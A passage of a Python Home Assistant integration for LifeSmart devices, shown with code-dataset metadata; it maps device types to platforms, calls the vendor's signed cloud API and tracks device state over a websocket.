HVAC_MODE_HEAT,\r\n HVAC_MODE_DRY,\r\n SUPPORT_FAN_MODE,\r\n SUPPORT_TARGET_TEMPERATURE,\r\n HVAC_MODE_OFF,\r\n)\r\nfrom homeassistant.components.fan import SPEED_HIGH, SPEED_LOW, SPEED_MEDIUM\r\nfrom homeassistant.core import callback\r\nfrom homeassistant.helpers import discovery\r\nimport homeassistant.helpers.config_validation as cv\r\nfrom homeassistant.helpers.entity import Entity\r\nfrom homeassistant.helpers.event import async_track_point_in_utc_time\r\nfrom homeassistant.util.dt import utcnow\r\n\r\n_LOGGER = logging.getLogger(__name__)\r\n\r\nCONF_LIFESMART_APPKEY = \"appkey\"\r\nCONF_LIFESMART_APPTOKEN = \"apptoken\"\r\nCONF_LIFESMART_USERTOKEN = \"usertoken\"\r\nCONF_LIFESMART_USERID = \"userid\"\r\nCONF_EXCLUDE_ITEMS = \"exclude\"\r\nSWTICH_TYPES = [\"SL_SF_RC\",\r\n\"SL_SW_RC\",\r\n\"SL_SW_IF3\",\r\n\"SL_SF_IF3\",\r\n\"SL_SW_CP3\",\r\n\"SL_SW_RC3\",\r\n\"SL_SW_IF2\",\r\n\"SL_SF_IF2\",\r\n\"SL_SW_CP2\",\r\n\"SL_SW_FE2\",\r\n\"SL_SW_RC2\",\r\n\"SL_SW_ND2\",\r\n\"SL_MC_ND2\",\r\n\"SL_SW_IF1\",\r\n\"SL_SF_IF1\",\r\n\"SL_SW_CP1\",\r\n\"SL_SW_FE1\",\r\n\"SL_OL_W\",\r\n\"SL_SW_RC1\",\r\n\"SL_SW_ND1\",\r\n\"SL_MC_ND1\",\r\n\"SL_SW_ND3\",\r\n\"SL_MC_ND3\",\r\n\"SL_SW_ND2\",\r\n\"SL_MC_ND2\",\r\n\"SL_SW_ND1\",\r\n\"SL_MC_ND1\",\r\n\"SL_S\",\r\n\"SL_SPWM\",\r\n\"SL_P_SW\",\r\n\"SL_SW_DM1\",\r\n\"SL_SW_MJ2\",\r\n\"SL_SW_MJ1\",\r\n\"SL_OL\",\r\n\"SL_OL_3C\",\r\n\"SL_OL_DE\",\r\n\"SL_OL_UK\",\r\n\"SL_OL_UL\",\r\n\"OD_WE_OT1\",\r\n\"SL_NATURE\"\r\n]\r\nLIGHT_SWITCH_TYPES = [\"SL_OL_W\",\r\n\"SL_SW_IF1\",\r\n\"SL_SW_IF2\",\r\n\"SL_SW_IF3\",\r\n]\r\nQUANTUM_TYPES=[\"OD_WE_QUAN\",\r\n]\r\n\r\nSPOT_TYPES = [\"MSL_IRCTL\",\r\n\"OD_WE_IRCTL\",\r\n\"SL_SPOT\"]\r\nBINARY_SENSOR_TYPES = [\"SL_SC_G\",\r\n\"SL_SC_BG\",\r\n\"SL_SC_MHW \",\r\n\"SL_SC_BM\",\r\n\"SL_SC_CM\",\r\n\"SL_P_A\"]\r\nCOVER_TYPES = [\"SL_DOOYA\"]\r\nGAS_SENSOR_TYPES = [\"SL_SC_WA \",\r\n\"SL_SC_CH\",\r\n\"SL_SC_CP\",\r\n\"ELIQ_EM\"]\r\nEV_SENSOR_TYPES = [\"SL_SC_THL\",\r\n\"SL_SC_BE\",\r\n\"SL_SC_CQ\"]\r\nOT_SENSOR_TYPES = [\"SL_SC_MHW\",\r\n\"SL_SC_BM\",\r\n\"SL_SC_G\",\r\n\"SL_SC_BG\"]\r\nLOCK_TYPES = [\"SL_LK_LS\",\r\n\"SL_LK_GTM\",\r\n\"SL_LK_AG\",\r\n\"SL_LK_SG\",\r\n\"SL_LK_YL\"]\r\n\r\nLIFESMART_STATE_LIST = [HVAC_MODE_OFF,\r\nHVAC_MODE_AUTO,\r\nHVAC_MODE_FAN_ONLY,\r\nHVAC_MODE_COOL,\r\nHVAC_MODE_HEAT,\r\nHVAC_MODE_DRY]\r\n\r\nCLIMATE_TYPES = [\"V_AIR_P\",\r\n\"SL_CP_DN\"]\r\n\r\nENTITYID = 'entity_id'\r\nDOMAIN = 'lifesmart'\r\n\r\nLifeSmart_STATE_MANAGER = 'lifesmart_wss'\r\n\r\n\r\ndef lifesmart_EpGetAll(appkey,apptoken,usertoken,userid):\r\n url = \"https://api.ilifesmart.com/app/api.EpGetAll\"\r\n tick = int(time.time())\r\n sdata = \"method:EpGetAll,time:\"+str(tick)+\",userid:\"+userid+\",usertoken:\"+usertoken+\",appkey:\"+appkey+\",apptoken:\"+apptoken\r\n sign = hashlib.md5(sdata.encode(encoding='UTF-8')).hexdigest()\r\n send_values ={\r\n \"id\": 1,\r\n \"method\": \"EpGetAll\",\r\n \"system\": {\r\n \"ver\": \"1.0\",\r\n \"lang\": \"en\",\r\n \"userid\": userid,\r\n \"appkey\": appkey,\r\n \"time\": tick,\r\n \"sign\": sign\r\n }\r\n }\r\n header = {'Content-Type': 'application/json'}\r\n send_data = json.dumps(send_values)\r\n req = urllib.request.Request(url=url, data=send_data.encode('utf-8'), headers=header, method='POST')\r\n response = json.loads(urllib.request.urlopen(req).read().decode('utf-8'))\r\n if response['code'] == 0:\r\n return response['message']\r\n return False\r\n\r\n\r\ndef lifesmart_Sendkeys(appkey,apptoken,usertoken,userid,agt,ai,me,category,brand,keys):\r\n url = \"https://api.ilifesmart.com/app/irapi.SendKeys\"\r\n tick = int(time.time())\r\n #keys = str(keys)\r\n sdata = \"method:SendKeys,agt:\"+agt+\",ai:\"+ai+\",brand:\"+brand+\",category:\"+category+\",keys:\"+keys+\",me:\"+me+\",time:\"+str(tick)+\",userid:\"+userid+\",usertoken:\"+usertoken+\",appkey:\"+appkey+\",apptoken:\"+apptoken\r\n sign = hashlib.md5(sdata.encode(encoding='UTF-8')).hexdigest()\r\n _LOGGER.debug(\"sendkey: %s\",str(sdata))\r\n send_values ={\r\n \"id\": 1,\r\n \"method\": \"SendKeys\",\r\n \"params\": {\r\n \"agt\": agt,\r\n \"me\": me,\r\n \"category\": category,\r\n \"brand\": brand,\r\n \"ai\": ai,\r\n \"keys\": keys\r\n },\r\n \"system\": {\r\n \"ver\": \"1.0\",\r\n \"lang\": \"en\",\r\n \"userid\": userid,\r\n \"appkey\": appkey,\r\n \"time\": tick,\r\n \"sign\": sign\r\n }\r\n }\r\n header = {'Content-Type': 'application/json'}\r\n send_data = json.dumps(send_values)\r\n req = urllib.request.Request(url=url, data=send_data.encode('utf-8'), headers=header, method='POST')\r\n response = json.loads(urllib.request.urlopen(req).read().decode('utf-8'))\r\n _LOGGER.debug(\"sendkey_res: %s\",str(response))\r\n return response\r\ndef lifesmart_Sendackeys(appkey,apptoken,usertoken,userid,agt,ai,me,category,brand,keys,power,mode,temp,wind,swing): \r\n url = \"https://api.ilifesmart.com/app/irapi.SendACKeys\" \r\n tick = int(time.time()) \r\n #keys = str(keys)\r\n sdata = \"method:SendACKeys,agt:\"+agt+\",ai:\"+ai+\",brand:\"+brand+\",category:\"+category+\",keys:\"+keys+\",me:\"+me+\",mode:\"+str(mode)+\",power:\"+str(power)+\",swing:\"+str(swing)+\",temp:\"+str(temp)+\",wind:\"+str(wind)+\",time:\"+str(tick)+\",userid:\"+userid+\",usertoken:\"+usertoken+\",appkey:\"+appkey+\",apptoken:\"+apptoken\r\n sign = hashlib.md5(sdata.encode(encoding='UTF-8')).hexdigest() \r\n _LOGGER.debug(\"sendackey: %s\",str(sdata))\r\n send_values ={ \r\n \"id\": 1, \r\n \"method\": \"SendACKeys\", \r\n \"params\": { \r\n \"agt\": agt, \r\n \"me\": me, \r\n \"category\": category, \r\n \"brand\": brand, \r\n \"ai\": ai, \r\n \"keys\": keys,\r\n \"power\": power,\r\n \"mode\": mode,\r\n \"temp\": temp,\r\n \"wind\": wind,\r\n \"swing\": swing \r\n }, \r\n \"system\": { \r\n \"ver\": \"1.0\", \r\n \"lang\": \"en\", \r\n \"userid\": userid, \r\n \"appkey\": appkey, \r\n \"time\": tick, \r\n \"sign\": sign \r\n } \r\n }\r\n header = {'Content-Type': 'application/json'} \r\n send_data = json.dumps(send_values) \r\n req = urllib.request.Request(url=url, data=send_data.encode('utf-8'), headers=header, method='POST') \r\n response = json.loads(urllib.request.urlopen(req).read().decode('utf-8')) \r\n _LOGGER.debug(\"sendackey_res: %s\",str(response))\r\n return response \r\n\r\ndef setup(hass, config):\r\n \"\"\"Set up the lifesmart component.\"\"\"\r\n param = {}\r\n param['appkey'] = config[DOMAIN][CONF_LIFESMART_APPKEY]\r\n param['apptoken'] = config[DOMAIN][CONF_LIFESMART_APPTOKEN]\r\n param['usertoken'] = config[DOMAIN][CONF_LIFESMART_USERTOKEN]\r\n param['userid'] = config[DOMAIN][CONF_LIFESMART_USERID]\r\n exclude_items = config[DOMAIN][CONF_EXCLUDE_ITEMS]\r\n devices = lifesmart_EpGetAll(param['appkey'],param['apptoken'],param['usertoken'],param['userid'])\r\n for dev in devices:\r\n if dev['me'] in exclude_items:\r\n continue\r\n devtype = dev['devtype']\r\n dev['agt'] = dev['agt'].replace(\"_\",\"\")\r\n if devtype in SWTICH_TYPES:\r\n discovery.load_platform(hass,\"switch\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n elif devtype in BINARY_SENSOR_TYPES:\r\n discovery.load_platform(hass,\"binary_sensor\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n elif devtype in COVER_TYPES:\r\n discovery.load_platform(hass,\"cover\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n elif devtype in SPOT_TYPES:\r\n discovery.load_platform(hass,\"light\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n elif devtype in CLIMATE_TYPES:\r\n discovery.load_platform(hass,\"climate\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n elif devtype in GAS_SENSOR_TYPES or devtype in EV_SENSOR_TYPES:\r\n discovery.load_platform(hass,\"sensor\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n if devtype in OT_SENSOR_TYPES:\r\n discovery.load_platform(hass,\"sensor\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n if devtype in LIGHT_SWITCH_TYPES:\r\n discovery.load_platform(hass,\"light\", DOMAIN, {\"dev\": dev,\"param\": param}, config)\r\n\r\n def send_keys(call):\r\n \"\"\"Handle the service call.\"\"\"\r\n agt = call.data['agt']\r\n me = call.data['me']\r\n ai = call.data['ai']\r\n category = call.data['category']\r\n brand = call.data['brand']\r\n keys = call.data['keys']\r\n restkey = lifesmart_Sendkeys(param['appkey'],param['apptoken'],param['usertoken'],param['userid'],agt,ai,me,category,brand,keys)\r\n _LOGGER.debug(\"sendkey: %s\",str(restkey))\r\n def send_ackeys(call):\r\n \"\"\"Handle the service call.\"\"\"\r\n agt = call.data['agt']\r\n me = call.data['me']\r\n ai = call.data['ai']\r\n category = call.data['category']\r\n brand = call.data['brand']\r\n keys = call.data['keys']\r\n power = call.data['power']\r\n mode = call.data['mode']\r\n temp = call.data['temp']\r\n wind = call.data['wind']\r\n swing = call.data['swing']\r\n restackey = lifesmart_Sendackeys(param['appkey'],param['apptoken'],param['usertoken'],param['userid'],agt,ai,me,category,brand,keys,power,mode,temp,wind,swing)\r\n _LOGGER.debug(\"sendkey: %s\",str(restackey))\r\n \r\n def get_fan_mode(_fanspeed):\r\n fanmode = None\r\n if _fanspeed < 30:\r\n fanmode = SPEED_LOW\r\n elif _fanspeed < 65 and _fanspeed >= 30:\r\n fanmode = SPEED_MEDIUM\r\n elif _fanspeed >=65:\r\n fanmode = SPEED_HIGH\r\n return fanmode\r\n \r\n async def set_Event(msg):\r\n if msg['msg']['idx'] != \"s\" and msg['msg']['me'] not in exclude_items:\r\n devtype = msg['msg']['devtype']\r\n agt = msg['msg']['agt'].replace(\"_\",\"\")\r\n if devtype in SWTICH_TYPES and msg['msg']['idx'] in [\"L1\",\"L2\",\"L3\",\"P1\",\"P2\",\"P3\"]:\r\n enid = \"switch.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n if msg['msg']['type'] % 2 == 1:\r\n hass.states.set(enid, 'on',attrs)\r\n else:\r\n hass.states.set(enid, 'off',attrs)\r\n elif devtype in BINARY_SENSOR_TYPES and msg['msg']['idx'] in [\"M\",\"G\",\"B\",\"AXS\",\"P1\"]:\r\n enid = \"binary_sensor.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n if msg['msg']['val'] == 1:\r\n hass.states.set(enid, 'on',attrs)\r\n else:\r\n hass.states.set(enid, 'off',attrs)\r\n elif devtype in COVER_TYPES and msg['msg']['idx'] == \"P1\":\r\n enid = \"cover.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me']).lower()\r\n attrs = dict(hass.states.get(enid).attributes)\r\n nval = msg['msg']['val']\r\n ntype = msg['msg']['type']\r\n attrs['current_position'] = nval & 0x7F\r\n _LOGGER.debug(\"websocket_cover_attrs: %s\",str(attrs))\r\n nstat = None\r\n if ntype % 2 == 0:\r\n if nval > 0:\r\n nstat = \"open\"\r\n else:\r\n nstat = \"closed\"\r\n else:\r\n if nval & 0x80 == 0x80:\r\n nstat = \"opening\"\r\n else:\r\n nstat = \"closing\"\r\n hass.states.set(enid, nstat, attrs)\r\n elif devtype in EV_SENSOR_TYPES:\r\n enid = \"sensor.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n hass.states.set(enid, msg['msg']['v'], attrs)\r\n elif devtype in GAS_SENSOR_TYPES and msg['msg']['val'] > 0:\r\n enid = \"sensor.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n hass.states.set(enid, msg['msg']['val'], attrs)\r\n elif devtype in SPOT_TYPES or devtype in LIGHT_SWITCH_TYPES:\r\n enid = \"light.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n if msg['msg']['type'] % 2 == 1:\r\n hass.states.set(enid, 'on',attrs)\r\n else:\r\n hass.states.set(enid, 'off',attrs)\r\n #elif devtype in QUANTUM_TYPES and msg['msg']['idx'] == \"P1\":\r\n # enid = \"light.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_P1\").lower()\r\n # attrs = hass.states.get(enid).attributes\r\n # hass.states.set(enid, msg['msg']['val'], attrs)\r\n elif devtype in CLIMATE_TYPES:\r\n enid = \"climate.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me']).lower().replace(\":\",\"_\").replace(\"@\",\"_\")\r\n _idx = msg['msg']['idx']\r\n attrs = dict(hass.states.get(enid).attributes)\r\n nstat = hass.states.get(enid).state\r\n if _idx == \"O\":\r\n if msg['msg']['type'] % 2 == 1:\r\n nstat = attrs['last_mode']\r\n hass.states.set(enid, nstat, attrs)\r\n else:\r\n nstat = HVAC_MODE_OFF\r\n hass.states.set(enid, nstat, attrs)\r\n if _idx == \"P1\":\r\n if msg['msg']['type'] % 2 == 1:\r\n nstat = HVAC_MODE_HEAT\r\n hass.states.set(enid, nstat, attrs)\r\n else:\r\n nstat = HVAC_MODE_OFF\r\n hass.states.set(enid, nstat, attrs)\r\n if _idx == \"P2\":\r\n if msg['msg']['type'] % 2 == 1:\r\n attrs['Heating'] = \"true\"\r\n hass.states.set(enid, nstat, attrs)\r\n else:\r\n attrs['Heating'] = \"false\"\r\n hass.states.set(enid, nstat, attrs)\r\n elif _idx == \"MODE\":\r\n if msg['msg']['type'] == 206:\r\n if nstat != HVAC_MODE_OFF:\r\n nstat = LIFESMART_STATE_LIST[msg['msg']['val']]\r\n attrs['last_mode'] = nstat\r\n hass.states.set(enid, nstat, attrs)\r\n elif _idx == \"F\":\r\n if msg['msg']['type'] == 206:\r\n attrs['fan_mode'] = get_fan_mode(msg['msg']['val'])\r\n hass.states.set(enid, nstat, attrs)\r\n elif _idx == \"tT\" or _idx == \"P3\":\r\n if msg['msg']['type'] == 136:\r\n attrs['temperature'] = msg['msg']['v']\r\n hass.states.set(enid, nstat, attrs)\r\n elif _idx == \"T\" or _idx == \"P4\":\r\n if msg['msg']['type'] == 8 or msg['msg']['type'] == 9:\r\n attrs['current_temperature'] = msg['msg']['v']\r\n hass.states.set(enid, nstat, attrs)\r\n elif devtype in LOCK_TYPES:\r\n if msg['msg']['idx'] == \"BAT\":\r\n enid = \"sensor.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n hass.states.set(enid, msg['msg']['val'], attrs)\r\n elif msg['msg']['idx'] == \"EVTLO\":\r\n enid = \"binary_sensor.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n val = msg['msg']['val']\r\n ulk_way = val >> 12\r\n ulk_user = val & 0xfff\r\n ulk_success = True\r\n if ulk_user == 0:\r\n ulk_success = False\r\n attrs = {\"unlocking_way\": ulk_way,\"unlocking_user\": ulk_user,\"devtype\": devtype,\"unlocking_success\": ulk_success,\"last_time\": datetime.datetime.fromtimestamp(msg['msg']['ts']/1000).strftime(\"%Y-%m-%d %H:%M:%S\") }\r\n if msg['msg']['type'] % 2 == 1:\r\n hass.states.set(enid, 'on',attrs)\r\n else:\r\n hass.states.set(enid, 'off',attrs)\r\n if devtype in OT_SENSOR_TYPES and msg['msg']['idx'] in [\"Z\",\"V\",\"P3\",\"P4\"]:\r\n enid = \"sensor.\"+(devtype + \"_\" + agt + \"_\" + msg['msg']['me'] + \"_\" + msg['msg']['idx']).lower()\r\n attrs = hass.states.get(enid).attributes\r\n hass.states.set(enid, msg['msg']['v'], attrs)\r\n def on_message(ws, message):\r\n _LOGGER.info(\"websocket_msg: %s\",str(message))\r\n msg = json.loads(message)\r\n if 'type' not in msg:\r\n return\r\n if msg['type'] != \"io\":\r\n return\r\n asyncio.run(set_Event(msg))\r\n\r\n def on_error(ws, error):\r\n _LOGGER.debug(\"websocket_error: %s\",str(error))\r\n\r\n def on_close(ws):\r\n _LOGGER.debug(\"lifesmart websocket closed...\")\r\n \r\n def on_open(ws):\r\n tick = int(time.time())\r\n sdata = \"method:WbAuth,time:\"+str(tick)+\",userid:\"+param['userid']+\",usertoken:\"+param['usertoken']+\",appkey:\"+param['appkey']+\",apptoken:\"+param['apptoken']\r\n sign = hashlib.md5(sdata.encode(encoding='UTF-8')).hexdigest()\r\n send_values ={\r\n \"id\": 1,\r\n \"method\": \"WbAuth\",\r\n \"system\": {\r\n \"ver\": \"1.0\",\r\n \"lang\": \"en\",\r\n \"userid\": param['userid'],\r\n \"appkey\": param['appkey'],\r\n \"time\": tick,\r\n \"sign\": sign\r\n }\r\n }\r\n header = {'Content-Type': 'application/json'}\r\n send_data = json.dumps(send_values)\r\n ws.send(send_data)\r\n _LOGGER.debug(\"lifesmart websocket sending_data...\")\r\n\r\n hass.services.register(DOMAIN, 'send_keys', send_keys)\r\n hass.services.register(DOMAIN, 'send_ackeys', send_ackeys)\r\n ws = websocket.WebSocketApp(\"wss://api.ilifesmart.com:8443/wsapp/\",\r\n on_message = on_message,\r\n on_error = on_error,\r\n on_close = on_close)\r\n ws.on_open = on_open\r\n hass.data[LifeSmart_STATE_MANAGER] = LifeSmartStatesManager(ws = ws)\r\n hass.data[LifeSmart_STATE_MANAGER].start_keep_alive()\r\n return True\r\n\r\nclass LifeSmartDevice(Entity):\r\n \"\"\"LifeSmart base device.\"\"\"\r\n\r\n def __init__(self, dev, idx, val, param):\r\n \"\"\"Initialize the switch.\"\"\"\r\n self._name = dev['name'] + \"_\" + idx\r\n self._appkey = param['appkey']\r\n self._apptoken = param['apptoken']\r\n self._usertoken = param['usertoken']\r\n self._userid = param['userid']\r\n self._agt = dev['agt']\r\n self._me = dev['me']\r\n self._idx = idx\r\n self._devtype = dev['devtype']\r\n attrs = {\"agt\": self._agt,\"me\": self._me,\"idx\": self._idx,\"devtype\": self._devtype }\r\n self._attributes = attrs\r\n \r\n\r\n @property\r\n def object_id(self):\r\n \"\"\"Return LifeSmart device id.\"\"\"\r\n return self.entity_id\r\n\r\n @property\r\n def device_state_attributes(self):\r\n \"\"\"Return the state attributes.\"\"\"\r\n return self._attributes\r\n\r\n @property\r\n def name(self):\r\n \"\"\"Return LifeSmart device name.\"\"\"\r\n return self._name\r\n\r\n @property\r\n def assumed_state(self):\r\n \"\"\"Return true if we do optimistic updates.\"\"\"\r\n return False\r\n\r\n @property\r\n def should_poll(self):\r\n \"\"\"check with the entity for an updated state.\"\"\"\r\n return False\r\n\r\n\r\n @staticmethod\r\n def _lifesmart_epset(self, type, val, idx):\r\n #self._tick = int(time.time())\r\n url = \"https://api.ilifesmart.com/app/api.EpSet\"\r\n tick = int(time.time())\r\n appkey = self._appkey\r\n apptoken = self._apptoken\r\n userid = self._userid\r\n usertoken = self._usertoken\r\n agt = self._agt\r\n me = self._me\r\n sdata = \"method:EpSet,agt:\"+ agt +\",idx:\"+idx+\",me:\"+me+\",type:\"+type+\",val:\"+str(val)+\",time:\"+str(tick)+\",userid:\"+userid+\",usertoken:\"+usertoken+\",appkey:\"+appkey+\",apptoken:\"+apptoken\r\n sign = hashlib.md5(sdata.encode(encoding='UTF-8')).hexdigest()\r\n send_values = {\r\n \"id\": 1,\r\n \"method\": \"EpSet\",\r\n \"system\": {\r\n \"ver\": \"1.0\",\r\n \"lang\": \"en\",\r\n \"userid\": userid,\r\n \"appkey\": appkey,\r\n \"time\": tick,\r\n \"sign\": sign\r\n },\r\n \"params\": {\r\n \"agt\": agt,\r\n \"me\": me,\r\n \"idx\": idx,\r\n \"type\": type,\r\n \"val\": val\r\n }\r\n }\r\n header = {'Content-Type': 'application/json'}\r\n send_data = json.dumps(send_values)\r\n req = urllib.request.Request(url=url, data=send_data.encode('utf-8'), headers=header, method='POST')\r\n response = json.loads(urllib.request.urlopen(req).read().decode('utf-8'))\r\n _LOGGER.info(\"epset_send: %s\",str(send_data))\r\n _LOGGER.info(\"epset_res: %s\",str(response))\r\n return response['code']\r\n\r\n @staticmethod\r\n def _lifesmart_epget(self):\r\n url = \"https://api.ilifesmart.com/app/api.EpGet\"\r\n tick = int(time.time())\r\n appkey = self._appkey\r\n apptoken = self._apptoken\r\n userid = self._userid\r\n usertoken = self._usertoken\r\n agt = self._agt\r\n me = self._me\r\n sdata = \"method:EpGet,agt:\"+ agt +\",me:\"+ me +\",time:\"+str(tick)+\",userid:\"+userid+\",usertoken:\"+usertoken+\",appkey:\"+appkey+\",apptoken:\"+apptoken\r\n sign = hashlib.md5(sdata.encode(encoding='UTF-8')).hexdigest()\r\n send_values = {\r\n \"id\": 1,\r\n \"method\": \"EpGet\",\r\n \"system\": {\r\n \"ver\": \"1.0\",\r\n \"lang\": \"en\",\r\n \"userid\": userid,\r\n \"appkey\": appkey,\r\n \"time\": tick,\r\n \"sign\": sign\r\n },\r\n \"params\": {\r\n \"agt\": agt,\r\n \"me\": me\r\n }\r\n }\r\n header = {'Content-Type': 'application/json'}\r\n send_data = json.dumps(send_values)\r\n req = urllib.request.Request(url=url, data=send_data.encode('utf-8'), headers=header, method='POST')\r\n response = json.loads(urllib.request.urlopen(req).read().decode('utf-8'))\r\n return response['message']['data']\r\n\r\nclass LifeSmartStatesManager(threading.Thread):\r\n\r\n\r\n def __init__(self, ws):\r\n \"\"\"Init LifeSmart Update Manager.\"\"\"\r\n threading.Thread.__init__(self)\r\n self._run = False\r\n self._lock = threading.Lock()\r\n self._ws = ws\r\n\r\n def run(self):\r\n while self._run:\r\n _LOGGER.debug('lifesmart: starting wss...')\r\n self._ws.run_forever()\r\n _LOGGER.debug('lifesmart: restart wss...')\r\n time.sleep(10)\r\n\r\n def start_keep_alive(self):\r\n \"\"\"Start keep alive mechanism.\"\"\"\r\n with self._lock:\r\n self._run = True\r\n threading.Thread.start(self)\r\n\r\n def stop_keep_alive(self):\r\n \"\"\"Stop keep alive mechanism.\"\"\"\r\n with self._lock:\r\n self._run = False\r\n self.join()\r\n", "repo_name": "skyzhishui/custom_components", "sub_path": "lifesmart/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 27571, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 37, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.setrecursionlimit", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 38, "usage_type": "call"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_OFF", "line_number": 121, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_AUTO", "line_number": 122, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_FAN_ONLY", "line_number": 123, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_COOL", "line_number": 124, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_HEAT", "line_number": 125, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_DRY", "line_number": 126, "usage_type": "name"}, {"api_name": "time.time", "line_number": 139, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 141, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 155, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 156, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 156, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 156, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 157, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 157, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 157, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 157, "usage_type": "name"}, {"api_name": "time.time", "line_number": 165, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 168, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 191, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 192, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 192, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 192, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 193, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 193, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 193, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 193, "usage_type": "name"}, {"api_name": "time.time", "line_number": 198, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 201, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 229, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 230, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 230, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 230, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 231, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 231, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 231, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 231, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 250, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 250, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 252, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 252, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 254, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 254, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 256, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 256, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 258, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 258, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 260, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 260, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 262, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 262, "usage_type": "name"}, {"api_name": "homeassistant.helpers.discovery.load_platform", "line_number": 264, "usage_type": "call"}, {"api_name": "homeassistant.helpers.discovery", "line_number": 264, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_LOW", "line_number": 295, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_MEDIUM", "line_number": 297, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.SPEED_HIGH", "line_number": 299, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_OFF", "line_number": 368, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_HEAT", "line_number": 372, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_OFF", "line_number": 375, "usage_type": "name"}, {"api_name": "homeassistant.components.climate.const.HVAC_MODE_OFF", "line_number": 386, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 415, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 415, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 426, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 431, "usage_type": "call"}, {"api_name": "time.time", "line_number": 440, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 442, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 456, "usage_type": "call"}, 